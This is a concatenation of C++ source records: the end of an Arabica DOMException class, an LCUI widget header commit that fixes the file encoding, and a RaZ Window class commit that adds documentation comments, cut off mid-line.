enum CODE\n\n  DOMException(CODE code) : \n    std::runtime_error(\"DOMException\"), \n    code_(code) \n  { \n  } \/\/ DOMException\n\n  DOMException(const DOMException& rhs) :\n    std::runtime_error(rhs),\n    code_(rhs.code_)\n  {\n  } \/\/ DOMException\n\n  virtual ~DOMException() throw()\n  {\n  } \/\/ DOMBadCast\n\n  CODE code() const { return code_; }\n\n  virtual const char* what() const throw()\n  {\n    switch(code_)\n    {\n      case INDEX_SIZE_ERR:\n        return \"Index size error\";\n      case DOMSTRING_SIZE_ERR:\n        return \"DOMString size error\";\n      case HIERARCHY_REQUEST_ERR:\n        return \"Hierarchy request error\";\n      case WRONG_DOCUMENT_ERR:\n        return \"Wrong Document error\";\n      case INVALID_CHARACTER_ERR:\n        return \"Invalid Character error\";\n      case NO_DATA_ALLOWED_ERR:\n        return \"No data allowed error\";\n      case NO_MODIFICATION_ALLOWED_ERR:\n        return \"No modification allowed error\";\n      case NOT_FOUND_ERR:\n        return \"Not found error\";\n      case NOT_SUPPORTED_ERR:\n        return \"Not supported error\";\n      case INUSE_ATTRIBUTE_ERR:\n        return \"Attribute inuse error\";\n      case INVALID_STATE_ERR:\n        return \"Invalid state\";\n      case SYNTAX_ERR:\n        return \"Syntax error\";\n      case INVALID_MODIFICATION_ERR:\n        return \"Invalid modification error\";\n      case NAMESPACE_ERR:\n        return \"Namespace error\";\n      case INVALID_ACCESS_ERR:\n        return \"Invalid access error\";\n    } \/\/ switch(code_)\n\n    return \"DOM error\";\n  } \/\/ what\n\nprivate:\n  DOMBadCast& operator=(const DOMBadCast&);\n  bool operator==(const DOMBadCast&) const;\n\n  CODE code_;\n}; \/\/ class DOMException\n\n} \/\/ namespace DOM\n} \/\/ namespace Arabica\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/* ***************************************************************************\n * LCUI_Widget.hpp -- C++ class for GUI widget \n * \n * Copyright (C) 2013 by\n * Liu Chao\n * \n * This file is part of the LCUI project, and may only be used, modified, and\n * distributed under the terms of the GPLv2.\n * \n * (GPLv2 is abbreviation of GNU General Public License Version 2)\n * \n * By continuing to use, modify, or distribute this file you indicate that you\n * have read the license and understand and accept it fully.\n *  \n * The LCUI project is distributed in the hope that it will be useful, but \n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY \n * or FITNESS FOR A PARTICULAR PURPOSE. See the GPL v2 for more details.\n * \n * You should have received a copy of the GPLv2 along with this file. It is \n * usually in the LICENSE.TXT file, If not, see <http:\/\/www.gnu.org\/licenses\/>.\n * ****************************************************************************\/\n \n\/* ****************************************************************************\n * LCUI_Widget.hp -- GUIC++\n *\n * Ȩ (C) 2013 \n * \n * \n * ļLCUIĿһֻ֣ԸGPLv2Эʹáĺͷ\n *\n * (GPLv2  GNUͨù֤ڶ Ӣд)\n * \n * ʹá޸Ļ򷢲ļѾĶȫͽЭ顣\n * \n * LCUI ĿǻʹĿĶɢģκεΣûԻ\n * ;GPLv2Э顣\n *\n * ӦյڱļGPLv2ЭĸͨLICENSE.TXTļУ\n * ûУ鿴<http:\/\/www.gnu.org\/licenses\/>. \n * ****************************************************************************\/\n\n#ifndef __LCUI_WIDGET_HPP__\n#define __LCUI_WIDGET_HPP__\n\n#ifdef __cplusplus\nclass LCUIWidget {\npublic: \n\tLCUIWidget( const char* widget_type );\n\t~LCUIWidget(void);\n\n\tLCUI_Widget *getWidget( void );\n\tLCUI_Size getSize( void );\n\tint getHeight( void );\n\tint getWidth( void );\n\tLCUI_Rect getRect( void );\n\tLCUI_Pos getPos( void );\n\tvoid *getPrivateData( void );\n\tint addInvalidArea( LCUI_Rect );\n\tint addInvalidArea( int, int, int, int );\n\tvoid show( LCUI_BOOL );\n\tvoid enable( LCUI_BOOL );\n\tvoid modal( LCUI_BOOL );\n\tvoid move( LCUI_Pos );\n\tvoid move( int , int );\n\tvoid resize( LCUI_Size );\n\tvoid resize( int, int );\n\tvoid dock( DOCK_TYPE );\n\tvoid update( LCUI_BOOL );\n\tvoid addChild( LCUI_Widget * );\n\tvoid addChild( LCUIWidget & );\n\tvoid getGraph( LCUI_Graph *, LCUI_Rect );\n\tLCUI_Graph* getSelfGraph( void );\n\tvoid syncInvalidArea( void );\n\tvoid setAlpha( unsigned char );\n\tvoid setPadding( int, int, int, int );\n\tvoid setPadding( int , int );\n\tvoid setPadding( int all );\n\tvoid setBorder( unsigned int, BORDER_STYLE, LCUI_RGB );\n\tvoid setBorderRadius( unsigned int );\n\tvoid setAlign( ALIGN_TYPE , LCUI_Pos );\n\tvoid setBackgroundImage( LCUI_Graph * );\n\tvoid setBackgroundLayout( LAYOUT_TYPE );\n\tvoid setBackgroundColor( LCUI_RGB );\n\tvoid setBackgroundTransparent( LCUI_BOOL );\n\tvoid destroy( void );\nprotected:\n\tLCUI_Widget *widget;\n};\n\nLCUIWidget::LCUIWidget( const char *widget_type )\n{\n\twidget = Widget_New( widget_type );\n}\n\nLCUIWidget::~LCUIWidget(void)\n{\n\tWidget_Destroy( widget );\n}\n\nLCUI_Widget *LCUIWidget::getWidget( void )\n{\n\treturn widget;\n}\n\nLCUI_Size LCUIWidget::getSize( void )\n{\n\treturn Widget_GetSize( widget );\n}\n\nint LCUIWidget::getHeight( void )\n{\n\treturn Widget_GetHeight( widget );\n}\n\nint LCUIWidget::getWidth( void )\n{\n\treturn Widget_GetWidth( widget );\n}\n\nLCUI_Rect LCUIWidget::getRect( void )\n{\n\treturn Widget_GetRect( widget );\n}\n\nLCUI_Pos LCUIWidget::getPos( void )\n{\n\treturn Widget_GetPos( widget );\n}\n\nvoid *LCUIWidget::getPrivateData( void )\n{\n\treturn Widget_GetPrivData( widget );\n}\n\nint LCUIWidget::addInvalidArea( LCUI_Rect area )\n{\n\treturn Widget_InvalidArea( widget, area );\n}\n\nint LCUIWidget::addInvalidArea( int x, int y, int w, int h )\n{\n\treturn Widget_InvalidArea( widget, Rect(x, y, w, h) );\n}\n\nvoid LCUIWidget::show( LCUI_BOOL need_show = TRUE )\n{\n\tif(need_show) {\n\t\tWidget_Show( widget );\n\t} else {\n\t\tWidget_Hide( widget );\n\t}\n}\n\nvoid LCUIWidget::modal( LCUI_BOOL is_modal = TRUE )\n{\n\tWidget_SetModal( widget, is_modal );\n}\n\nvoid LCUIWidget::dock( DOCK_TYPE dock_type )\n{\n\tWidget_SetDock( widget, dock_type );\n}\n\nvoid LCUIWidget::move( LCUI_Pos new_pos )\n{\n\tWidget_Move( widget, new_pos );\n}\n\nvoid LCUIWidget::move( int x, int y )\n{\n\tWidget_Move( widget, Pos(x,y) );\n}\n\nvoid LCUIWidget::resize( LCUI_Size new_size )\n{\n\tWidget_Resize( widget, new_size );\n}\n\nvoid LCUIWidget::resize( int w, int h )\n{\n\tWidget_Resize( widget, Size(w,h) );\n}\n\nvoid LCUIWidget::update( LCUI_BOOL keep_new = FALSE )\n{\n\tif( keep_new ) {\n\t\tWidget_Update( widget );\n\t} else {\n\t\t__Widget_Update( widget );\n\t}\n}\n\nvoid LCUIWidget::addChild( LCUI_Widget *child_widget )\n{\n\tWidget_Container_Add( widget, child_widget );\n}\n\nvoid LCUIWidget::addChild( LCUIWidget &child_widget )\n{\n\tWidget_Container_Add( widget, child_widget.getWidget() );\n}\n\nvoid LCUIWidget::getGraph( LCUI_Graph *graph_buff, LCUI_Rect rect )\n{\n\tWidget_GetGraph( widget, graph_buff, rect );\n}\n\nLCUI_Graph* LCUIWidget::getSelfGraph( void )\n{\n\treturn Widget_GetSelfGraph( widget );\n}\n\nvoid LCUIWidget::syncInvalidArea( void )\n{\n\tWidget_SyncInvalidArea( widget );\n}\n\nvoid LCUIWidget::setAlpha( unsigned char alpha )\n{\n\tWidget_SetAlpha( widget, alpha );\n}\n\nvoid LCUIWidget::setPadding( int top, int bottom, int left, int right )\n{\n\tWidget_SetPadding( widget, Padding(top, bottom, left, right) );\n}\n\nvoid LCUIWidget::setPadding( int top_bottom, int left_right )\n{\n\tWidget_SetPadding( widget, Padding(top_bottom, top_bottom, left_right, left_right) );\n}\n\nvoid LCUIWidget::setPadding( int all )\n{\n\tWidget_SetPadding( widget, Padding(all, all, all, all) );\n}\n\nvoid LCUIWidget::setBorder( unsigned int width_px, BORDER_STYLE style, LCUI_RGB color )\n{\n\tWidget_SetBorder( widget, Border(width_px, style, color) );\n}\n\nvoid LCUIWidget::setBorderRadius( unsigned int radius )\n{\n\tWidget_SetBorderRadius( widget, radius );\n}\n\nvoid LCUIWidget::setAlign( ALIGN_TYPE align, LCUI_Pos offset = Pos(0,0) )\n{\n\tWidget_SetAlign( widget, align, offset );\n}\n\nvoid LCUIWidget::setBackgroundImage( LCUI_Graph *img )\n{\n\tWidget_SetBackgroundImage( widget, img );\n}\n\nvoid LCUIWidget::setBackgroundLayout( LAYOUT_TYPE layout )\n{\n\tWidget_SetBackgroundLayout( widget, layout );\n}\n\nvoid LCUIWidget::setBackgroundColor( LCUI_RGB color )\n{\n\tWidget_SetBackgroundColor( widget, color );\n}\n\nvoid LCUIWidget::setBackgroundTransparent( LCUI_BOOL flag = TRUE )\n{\n\tWidget_SetBackgroundTransparent( widget, flag );\n}\n\nvoid LCUIWidget::destroy( void )\n{\n\tWidget_Destroy( widget );\n}\n#endif\n\n#endif\n<commit_msg>修改LCUI_Widget.hpp文件编码<commit_after>\/* ***************************************************************************\r\n * LCUI_Widget.hpp -- C++ class for GUI widget \r\n * \r\n * Copyright (C) 2013 by\r\n * Liu Chao\r\n * \r\n * This file is part of the LCUI project, and may only be used, modified, and\r\n * distributed under the terms of the GPLv2.\r\n * \r\n * (GPLv2 is abbreviation of GNU General Public License Version 2)\r\n * \r\n * By continuing to use, modify, or distribute this file you indicate that you\r\n * have read the license and understand and accept it fully.\r\n *  \r\n * The LCUI project is distributed in the hope that it will be useful, but \r\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY \r\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GPL v2 for more details.\r\n * \r\n * You should have received a copy of the GPLv2 along with this file. It is \r\n * usually in the LICENSE.TXT file, If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n * ****************************************************************************\/\r\n \r\n\/* ****************************************************************************\r\n * LCUI_Widget.hpp -- GUI部件的C++类\r\n *\r\n * 版权所有 (C) 2013 归属于\r\n * 刘超\r\n * \r\n * 这个文件是LCUI项目的一部分，并且只可以根据GPLv2许可协议来使用、更改和发布。\r\n *\r\n * (GPLv2 是 GNU通用公共许可证第二版 的英文缩写)\r\n * \r\n * 继续使用、修改或发布本文件，表明您已经阅读并完全理解和接受这个许可协议。\r\n * \r\n * LCUI 项目是基于使用目的而加以散布的，但不负任何担保责任，甚至没有适销性或特\r\n * 定用途的隐含担保，详情请参照GPLv2许可协议。\r\n *\r\n * 您应已收到附随于本文件的GPLv2许可协议的副本，它通常在LICENSE.TXT文件中，如果\r\n * 没有，请查看：<http:\/\/www.gnu.org\/licenses\/>. \r\n * ****************************************************************************\/\r\n\r\n#ifndef __LCUI_WIDGET_HPP__\r\n#define __LCUI_WIDGET_HPP__\r\n\r\n#ifdef __cplusplus\r\nclass LCUIWidget {\r\npublic: \r\n\tLCUIWidget( const char* widget_type );\r\n\t~LCUIWidget(void);\r\n\r\n\tLCUI_Widget *getWidget( void );\r\n\tLCUI_Size getSize( void );\r\n\tint getHeight( void );\r\n\tint getWidth( void );\r\n\tLCUI_Rect getRect( void );\r\n\tLCUI_Pos getPos( void );\r\n\tvoid *getPrivateData( void );\r\n\tint addInvalidArea( LCUI_Rect );\r\n\tint addInvalidArea( int, int, int, int );\r\n\tvoid show( LCUI_BOOL );\r\n\tvoid enable( LCUI_BOOL );\r\n\tvoid modal( LCUI_BOOL );\r\n\tvoid move( LCUI_Pos );\r\n\tvoid move( int , int );\r\n\tvoid resize( LCUI_Size );\r\n\tvoid resize( int, int );\r\n\tvoid dock( DOCK_TYPE );\r\n\tvoid update( LCUI_BOOL );\r\n\tvoid addChild( LCUI_Widget * );\r\n\tvoid addChild( LCUIWidget & );\r\n\tvoid getGraph( LCUI_Graph *, LCUI_Rect );\r\n\tLCUI_Graph* getSelfGraph( void );\r\n\tvoid syncInvalidArea( void );\r\n\tvoid setAlpha( unsigned char );\r\n\tvoid setPadding( int, int, int, int );\r\n\tvoid setPadding( int , int );\r\n\tvoid setPadding( int all );\r\n\tvoid setBorder( unsigned int, BORDER_STYLE, LCUI_RGB );\r\n\tvoid setBorderRadius( unsigned int );\r\n\tvoid setAlign( ALIGN_TYPE , LCUI_Pos );\r\n\tvoid setBackgroundImage( LCUI_Graph * );\r\n\tvoid setBackgroundLayout( LAYOUT_TYPE );\r\n\tvoid setBackgroundColor( LCUI_RGB );\r\n\tvoid setBackgroundTransparent( LCUI_BOOL );\r\n\tvoid destroy( void );\r\nprotected:\r\n\tLCUI_Widget *widget;\r\n};\r\n\r\nLCUIWidget::LCUIWidget( const char *widget_type )\r\n{\r\n\twidget = Widget_New( widget_type );\r\n}\r\n\r\nLCUIWidget::~LCUIWidget(void)\r\n{\r\n\tWidget_Destroy( widget );\r\n}\r\n\r\nLCUI_Widget *LCUIWidget::getWidget( void )\r\n{\r\n\treturn widget;\r\n}\r\n\r\nLCUI_Size LCUIWidget::getSize( void )\r\n{\r\n\treturn Widget_GetSize( widget );\r\n}\r\n\r\nint LCUIWidget::getHeight( void )\r\n{\r\n\treturn Widget_GetHeight( widget );\r\n}\r\n\r\nint LCUIWidget::getWidth( void )\r\n{\r\n\treturn Widget_GetWidth( widget );\r\n}\r\n\r\nLCUI_Rect LCUIWidget::getRect( void )\r\n{\r\n\treturn Widget_GetRect( widget );\r\n}\r\n\r\nLCUI_Pos LCUIWidget::getPos( void )\r\n{\r\n\treturn Widget_GetPos( widget );\r\n}\r\n\r\nvoid *LCUIWidget::getPrivateData( void )\r\n{\r\n\treturn Widget_GetPrivData( widget );\r\n}\r\n\r\nint LCUIWidget::addInvalidArea( LCUI_Rect area )\r\n{\r\n\treturn Widget_InvalidArea( widget, area );\r\n}\r\n\r\nint LCUIWidget::addInvalidArea( int x, int y, int w, int h )\r\n{\r\n\treturn Widget_InvalidArea( widget, Rect(x, y, w, h) );\r\n}\r\n\r\nvoid LCUIWidget::show( LCUI_BOOL need_show = TRUE )\r\n{\r\n\tif(need_show) {\r\n\t\tWidget_Show( widget );\r\n\t} else {\r\n\t\tWidget_Hide( widget );\r\n\t}\r\n}\r\n\r\nvoid LCUIWidget::modal( LCUI_BOOL is_modal = TRUE )\r\n{\r\n\tWidget_SetModal( widget, is_modal );\r\n}\r\n\r\nvoid LCUIWidget::dock( DOCK_TYPE dock_type )\r\n{\r\n\tWidget_SetDock( widget, dock_type );\r\n}\r\n\r\nvoid LCUIWidget::move( LCUI_Pos new_pos )\r\n{\r\n\tWidget_Move( widget, new_pos );\r\n}\r\n\r\nvoid LCUIWidget::move( int x, int y )\r\n{\r\n\tWidget_Move( widget, Pos(x,y) );\r\n}\r\n\r\nvoid LCUIWidget::resize( LCUI_Size new_size )\r\n{\r\n\tWidget_Resize( widget, new_size );\r\n}\r\n\r\nvoid LCUIWidget::resize( int w, int h )\r\n{\r\n\tWidget_Resize( widget, Size(w,h) );\r\n}\r\n\r\nvoid LCUIWidget::update( LCUI_BOOL keep_new = FALSE )\r\n{\r\n\tif( keep_new ) {\r\n\t\tWidget_Update( widget );\r\n\t} else {\r\n\t\t__Widget_Update( widget );\r\n\t}\r\n}\r\n\r\nvoid LCUIWidget::addChild( LCUI_Widget *child_widget )\r\n{\r\n\tWidget_Container_Add( widget, child_widget );\r\n}\r\n\r\nvoid LCUIWidget::addChild( LCUIWidget &child_widget )\r\n{\r\n\tWidget_Container_Add( widget, child_widget.getWidget() );\r\n}\r\n\r\nvoid LCUIWidget::getGraph( LCUI_Graph *graph_buff, LCUI_Rect rect )\r\n{\r\n\tWidget_GetGraph( widget, graph_buff, rect );\r\n}\r\n\r\nLCUI_Graph* LCUIWidget::getSelfGraph( void )\r\n{\r\n\treturn Widget_GetSelfGraph( widget );\r\n}\r\n\r\nvoid LCUIWidget::syncInvalidArea( void )\r\n{\r\n\tWidget_SyncInvalidArea( widget );\r\n}\r\n\r\nvoid LCUIWidget::setAlpha( unsigned char alpha )\r\n{\r\n\tWidget_SetAlpha( widget, alpha );\r\n}\r\n\r\nvoid LCUIWidget::setPadding( int top, int bottom, int left, int right )\r\n{\r\n\tWidget_SetPadding( widget, Padding(top, bottom, left, right) );\r\n}\r\n\r\nvoid LCUIWidget::setPadding( int top_bottom, int left_right )\r\n{\r\n\tWidget_SetPadding( widget, Padding(top_bottom, top_bottom, left_right, left_right) );\r\n}\r\n\r\nvoid LCUIWidget::setPadding( int all )\r\n{\r\n\tWidget_SetPadding( widget, Padding(all, all, all, all) );\r\n}\r\n\r\nvoid LCUIWidget::setBorder( unsigned int width_px, BORDER_STYLE style, LCUI_RGB color )\r\n{\r\n\tWidget_SetBorder( widget, Border(width_px, style, color) );\r\n}\r\n\r\nvoid LCUIWidget::setBorderRadius( unsigned int radius )\r\n{\r\n\tWidget_SetBorderRadius( widget, radius );\r\n}\r\n\r\nvoid LCUIWidget::setAlign( ALIGN_TYPE align, LCUI_Pos offset = Pos(0,0) )\r\n{\r\n\tWidget_SetAlign( widget, align, offset );\r\n}\r\n\r\nvoid LCUIWidget::setBackgroundImage( LCUI_Graph *img )\r\n{\r\n\tWidget_SetBackgroundImage( widget, img );\r\n}\r\n\r\nvoid LCUIWidget::setBackgroundLayout( LAYOUT_TYPE layout )\r\n{\r\n\tWidget_SetBackgroundLayout( widget, layout );\r\n}\r\n\r\nvoid LCUIWidget::setBackgroundColor( LCUI_RGB color )\r\n{\r\n\tWidget_SetBackgroundColor( widget, color );\r\n}\r\n\r\nvoid LCUIWidget::setBackgroundTransparent( LCUI_BOOL flag = TRUE )\r\n{\r\n\tWidget_SetBackgroundTransparent( widget, flag );\r\n}\r\n\r\nvoid LCUIWidget::destroy( void )\r\n{\r\n\tWidget_Destroy( widget );\r\n}\r\n#endif\r\n\r\n#endif\r\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#ifndef RAZ_WINDOW_HPP\n#define RAZ_WINDOW_HPP\n\n#include <chrono>\n#include <functional>\n#include <memory>\n#include <vector>\n\n#include \"glew\/include\/GL\/glew.h\"\n#if defined(_WIN32)\n#if defined(_MSC_VER)\n#define NOMINMAX\n#endif\n#include \"glew\/include\/GL\/wglew.h\"\n#elif defined(__gnu_linux__)\n#include \"glew\/include\/GL\/glxew.h\"\n#endif\n#include \"glfw\/include\/GLFW\/glfw3.h\"\n#include \"RaZ\/Math\/Vector.hpp\"\n#include \"RaZ\/Utils\/Image.hpp\"\n#include \"RaZ\/Utils\/Overlay.hpp\"\n#include \"RaZ\/Utils\/Input.hpp\"\n\nnamespace Raz {\n\nclass Window;\nusing WindowPtr = std::unique_ptr<Window>;\n\nusing KeyboardCallbacks    = std::vector<std::tuple<int, std::function<void(float)>, Input::ActionTrigger, std::function<void()>>>;\nusing MouseButtonCallbacks = std::vector<std::tuple<int, std::function<void(float)>, Input::ActionTrigger, std::function<void()>>>;\nusing MouseScrollCallback  = std::function<void(double, double)>;\nusing MouseMoveCallback    = std::tuple<double, double, std::function<void(double, double)>>;\nusing InputActions         = std::unordered_map<int, std::pair<std::function<void(float)>, Input::ActionTrigger>>;\nusing InputCallbacks       = std::tuple<KeyboardCallbacks, MouseButtonCallbacks, MouseScrollCallback, MouseMoveCallback, InputActions>;\n\nclass Window {\npublic:\n  Window(unsigned int width, unsigned int height, const std::string& title = \"\", uint8_t AASampleCount = 1);\n\n  unsigned int getWidth() const { return m_width; }\n  unsigned int getHeight() const { return m_height; }\n  const Vec4f& getClearColor() const { return m_clearColor; }\n\n  void setClearColor(const Vec4f& clearColor) { m_clearColor = clearColor; }\n  void setClearColor(float red, float green, float blue, float alpha = 1.f) { setClearColor(Vec4f({ red, green, blue, alpha })); }\n  void setTitle(const std::string& title) const { glfwSetWindowTitle(m_window, title.c_str()); }\n  void setIcon(const Image& img) const;\n  void setIcon(const std::string& fileName) const { setIcon(Image(fileName, true)); }\n\n  template <typename... Args> static WindowPtr create(Args&&... args) { return std::make_unique<Window>(std::forward<Args>(args)...); }\n\n  void enableFaceCulling(bool value = true) const;\n  void disableFaceCulling() const { enableFaceCulling(false); }\n  bool recoverVerticalSyncState() const;\n  void enableVerticalSync(bool value = true) const;\n  void disableVerticalSync() const { enableVerticalSync(false); }\n  void changeCursorState(Cursor::State state) const { glfwSetInputMode(m_window, GLFW_CURSOR, state); }\n  void showCursor() const { changeCursorState(Cursor::State::NORMAL); }\n  void hideCursor() const { changeCursorState(Cursor::State::HIDDEN); }\n  void disableCursor() const { changeCursorState(Cursor::State::DISABLED); }\n  void addKeyCallback(Keyboard::Key key, std::function<void(float)> actionPress,\n                                         Input::ActionTrigger frequency = Input::ALWAYS,\n                                         std::function<void()> actionRelease = nullptr);\n  void addMouseButtonCallback(Mouse::Button button, std::function<void(float)> actionPress,\n                                                    Input::ActionTrigger frequency = Input::ALWAYS,\n                                                    std::function<void()> actionRelease = nullptr);\n  void addMouseScrollCallback(std::function<void(double, double)> func);\n  void addMouseMoveCallback(std::function<void(double, double)> func);\n  void updateCallbacks() const;\n  void enableOverlay() { m_overlay = Overlay::create(m_window); }\n  void disableOverlay() { m_overlay.reset(); }\n  void addOverlayElement(OverlayElementType type, const std::string& text,\n                         std::function<void()> actionOn = nullptr, std::function<void()> actionOff = nullptr);\n  void addOverlayText(const std::string& text);\n  void addOverlayButton(const std::string& text, std::function<void()> action);\n  void addOverlayCheckbox(const std::string& text, bool initVal, std::function<void()> actionOn, std::function<void()> actionOff);\n  void addOverlaySeparator();\n  void addOverlayFrameTime(const std::string& formattedText);\n  void addOverlayFpsCounter(const std::string& formattedText);\n  bool run(float deltaTime);\n  Vec2f recoverMousePosition() const;\n  void setShouldClose() const { glfwSetWindowShouldClose(m_window, true); }\n  void close();\n\n  ~Window() { close(); }\n\nprivate:\n  unsigned int m_width {};\n  unsigned int m_height {};\n  Vec4f m_clearColor = Vec4f({ 0.15f, 0.15f, 0.15f, 1.f });\n  GLFWwindow* m_window {};\n  InputCallbacks m_callbacks {};\n  OverlayPtr m_overlay {};\n};\n\n} \/\/ namespace Raz\n\n#endif \/\/ RAZ_WINDOW_HPP\n<commit_msg>[Utils\/Windows] Added documentation for the Window class<commit_after>#pragma once\n\n#ifndef RAZ_WINDOW_HPP\n#define RAZ_WINDOW_HPP\n\n#include <chrono>\n#include <functional>\n#include <memory>\n#include <vector>\n\n#include \"glew\/include\/GL\/glew.h\"\n#if defined(_WIN32)\n#if defined(_MSC_VER)\n#define NOMINMAX\n#endif\n#include \"glew\/include\/GL\/wglew.h\"\n#elif defined(__gnu_linux__)\n#include \"glew\/include\/GL\/glxew.h\"\n#endif\n#include \"glfw\/include\/GLFW\/glfw3.h\"\n#include \"RaZ\/Math\/Vector.hpp\"\n#include \"RaZ\/Utils\/Image.hpp\"\n#include \"RaZ\/Utils\/Overlay.hpp\"\n#include \"RaZ\/Utils\/Input.hpp\"\n\nnamespace Raz {\n\nusing KeyboardCallbacks    = std::vector<std::tuple<int, std::function<void(float)>, Input::ActionTrigger, std::function<void()>>>;\nusing MouseButtonCallbacks = std::vector<std::tuple<int, std::function<void(float)>, Input::ActionTrigger, std::function<void()>>>;\nusing MouseScrollCallback  = std::function<void(double, double)>;\nusing MouseMoveCallback    = std::tuple<double, double, std::function<void(double, double)>>;\nusing InputActions         = std::unordered_map<int, std::pair<std::function<void(float)>, Input::ActionTrigger>>;\nusing InputCallbacks       = std::tuple<KeyboardCallbacks, MouseButtonCallbacks, MouseScrollCallback, MouseMoveCallback, InputActions>;\n\n\/\/\/ Graphical window to render the scenes on, with input custom actions.\nclass Window {\npublic:\n  Window(unsigned int width, unsigned int height, const std::string& title = \"\", uint8_t AASampleCount = 1);\n\n  unsigned int getWidth() const { return m_width; }\n  unsigned int getHeight() const { return m_height; }\n  const Vec4f& getClearColor() const { return m_clearColor; }\n\n  void setClearColor(const Vec4f& clearColor) { m_clearColor = clearColor; }\n  void setClearColor(float red, float green, float blue, float alpha = 1.f) { setClearColor(Vec4f({ red, green, blue, alpha })); }\n  void setTitle(const std::string& title) const { glfwSetWindowTitle(m_window, title.c_str()); }\n  void setIcon(const Image& img) const;\n  void setIcon(const std::string& fileName) const { setIcon(Image(fileName, true)); }\n\n  \/\/\/ Changes the face culling's state.\n  \/\/\/ Enables or disables face culling according to the given parameter.\n  \/\/\/ \\param value Value to apply.\n  void enableFaceCulling(bool value = true) const;\n  \/\/\/ Disables the face culling.\n  void disableFaceCulling() const { enableFaceCulling(false); }\n  \/\/\/ Fetches the current vertical synchronization's state.\n  \/\/\/ \\return True if vertical sync is enabled, false otherwise.\n  bool recoverVerticalSyncState() const;\n  \/\/\/ Changes the vertical synchronization's state.\n  \/\/\/ Enables or disables vertical sync according to the given parameter.\n  \/\/\/ \\param value Value to apply.\n  void enableVerticalSync(bool value = true) const;\n  \/\/\/ Disables vertical synchronization.\n  void disableVerticalSync() const { enableVerticalSync(false); }\n  \/\/\/ Changes the cursor's state.\n  \/\/\/ Defines the new behavior of the mouse's cursor, if it should be shown, hidden or disabled.\n  \/\/\/ The functions showCursor(), hideCursor() & disableCursor() can be used instead.\n  \/\/\/ \\param state State to apply.\n  void changeCursorState(Cursor::State state) const { glfwSetInputMode(m_window, GLFW_CURSOR, state); }\n  \/\/\/ Shows the mouse cursor.\n  \/\/\/ Default behavior.\n  void showCursor() const { changeCursorState(Cursor::State::NORMAL); }\n  \/\/\/ Hides the mouse cursor.\n  \/\/\/ The cursor becomes invisible while being inside the window's frame. It can go out of the window.\n  void hideCursor() const { changeCursorState(Cursor::State::HIDDEN); }\n  \/\/\/ Disables the mouse cursor.\n  \/\/\/ The cursor always goes back to the window's center and becomes totally invisible. It can't go out of the window.\n  void disableCursor() const { changeCursorState(Cursor::State::DISABLED); }\n  \/\/\/ Defines an action on keyboard's key press & release.\n  \/\/\/ \\param key Key triggering the given action(s).\n  \/\/\/ \\param actionPress Action to be executed when the given key is pressed.\n  \/\/\/ \\param frequency Frequency at which to execute the actions.\n  \/\/\/ \\param actionRelease Action to be executed when the given key is released.\n  void addKeyCallback(Keyboard::Key key, std::function<void(float)> actionPress,\n                                         Input::ActionTrigger frequency = Input::ALWAYS,\n                                         std::function<void()> actionRelease = nullptr);\n  \/\/\/ Defines an action on mouse button click or release.\n  \/\/\/ \\param button Button triggering the given action(s).\n  \/\/\/ \\param actionPress Action to be executed when the given mouse button is pressed.\n  \/\/\/ \\param frequency Frequency at which to execute the actions.\n  \/\/\/ \\param actionRelease Action to be executed when the given mouse button is released.\n  void addMouseButtonCallback(Mouse::Button button, std::function<void(float)> actionPress,\n                                                    Input::ActionTrigger frequency = Input::ALWAYS,\n                                                    std::function<void()> actionRelease = nullptr);\n  \/\/\/ Defines an action on mouse wheel scroll.\n  \/\/\/ \\param func Action to be executed when scrolling.\n  void addMouseScrollCallback(std::function<void(double, double)> func);\n  \/\/\/ Defines an action on mouse move.\n  \/\/\/ \\param func Action to be executed when the mouse is moved.\n  void addMouseMoveCallback(std::function<void(double, double)> func);\n  \/\/\/ Associates all of the callbacks, making them active.\n  void updateCallbacks() const;\n  \/\/\/ Enables the overlay.\n  void enableOverlay() { m_overlay = Overlay::create(m_window); }\n  \/\/\/ Disables the overlay.\n  void disableOverlay() { m_overlay.reset(); }\n  \/\/\/ Adds an element on the overlay.\n  \/\/\/ \\param type Type of the element to add.\n  \/\/\/ \\param text Text to be displayed beside the element.\n  \/\/\/ \\param actionOn Action to be executed when clicked or toggled on.\n  \/\/\/ \\param actionOff Action to be executed when toggled off.\n  void addOverlayElement(OverlayElementType type, const std::string& text,\n                         std::function<void()> actionOn = nullptr, std::function<void()> actionOff = nullptr);\n  \/\/\/ Adds text on the overlay.\n  \/\/\/ \\param text Text to be displayed.\n  void addOverlayText(const std::string& text);\n  \/\/\/ Adds a button on the overlay.\n  \/\/\/ \\param text Text to be displayed beside the button.\n  \/\/\/ \\param action Action to be executed when clicked.\n  void addOverlayButton(const std::string& text, std::function<void()> action);\n  \/\/\/ Adds a checkbox on the overlay.\n  \/\/\/ \\param text Text to be displayed beside the checkbox.\n  \/\/\/ \\param initVal Initial value, checked or not.\n  \/\/\/ \\param actionOn Action to be executed when toggled on.\n  \/\/\/ \\param actionOff Action to be executed when toggled off.\n  void addOverlayCheckbox(const std::string& text, bool initVal, std::function<void()> actionOn, std::function<void()> actionOff);\n  \/\/\/ Adds an horizontal separator on the overlay.\n  void addOverlaySeparator();\n  \/\/\/ Adds a frame time display on the overlay.\n  \/\/\/ \\param formattedText Text with a formatting placeholder to display the frame time (%.Xf, X being the precision after the comma).\n  void addOverlayFrameTime(const std::string& formattedText);\n  \/\/\/ Adds a FPS (frames per second) counter on the overlay.\n  \/\/\/ \\param formattedText Text with a formatting placeholder to display the FPS (%.Xf, X being the precision after the comma).\n  void addOverlayFpsCounter(const std::string& formattedText);\n  \/\/\/ Runs the window, refreshing its state by displaying the rendered scene, drawing the overlay, etc.\n  \/\/\/ \\param deltaTime Amount of time elapsed since the last frame.\n  \/\/\/ \\return True if the window hasn't been required to close, false otherwise.\n  bool run(float deltaTime);\n  \/\/\/ Fetches the mouse position onto the window.\n  \/\/\/ \\return 2D vector representing the mouse's position relative to the window.\n  Vec2f recoverMousePosition() const;\n  \/\/\/ Tells the window that it should close.\n  void setShouldClose() const { glfwSetWindowShouldClose(m_window, true); }\n  \/\/\/ Closes the window.\n  void close();\n\n  ~Window() { close(); }\n\nprivate:\n  unsigned int m_width {};\n  unsigned int m_height {};\n  Vec4f m_clearColor = Vec4f({ 0.15f, 0.15f, 0.15f, 1.f 